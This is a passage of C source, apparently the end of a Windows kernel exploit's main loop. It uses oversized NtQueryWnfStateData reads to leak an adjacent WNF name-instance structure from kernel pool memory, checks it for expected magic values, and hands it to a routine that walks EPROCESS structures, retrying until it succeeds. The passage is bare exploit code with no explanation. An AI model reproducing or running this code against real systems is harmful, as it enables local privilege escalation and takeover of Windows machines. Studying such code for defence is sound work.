546 | WNF_CHANGE_STAMP Stamp;
547 | ULONG BufferSize = 0xa0;
548 | UCHAR Buff[OVER_STATEDATA_LENGTH] = { 0 };
549 | if (StateNames[i].Data[0] == 0 && StateNames[i].Data[1] == 0)
550 | continue;
551 | NTSTATUS state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &Stamp, &Buff, &BufferSize);
552 | if (state == 0xc0000023)
553 | {
554 |
555 | BufferSize = OVER_STATEDATA_LENGTH;
556 | state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &Stamp, &Buff, &BufferSize);
557 | if (state != 0)
558 | {
559 | ;
560 | }
561 | else
562 | {
563 | PWNF_NAME_INSTANCE NameIns = (PWNF_NAME_INSTANCE)(Buff + 0xa0 + 0x10);
564 |
565 | if (NameIns->Header.NodeByteSize == 0xa8 &&
566 | NameIns->Header.NodeTypeCode == 0x903 &&
567 | NameIns->RunRef.Ptr == NULL
568 | )
569 | {
570 | if (EnumProcessEprocess(&StateNames[i], Buff) == 0)
571 | {
572 |
573 | IsSuccess = TRUE;
574 | }
575 |
576 |
577 | }
578 |
579 | }
580 | }
581 | }
582 |
583 | if (IsSuccess == FALSE)
584 | goto RE_TRY;
585 |
586 |
587 | IsSuccess = !IsSuccess;
588 |
589 |
590 | PAUSE:
591 | system("pause");
592 | return 0;
593 | }
594 |
--------------------------------------------------------------------------------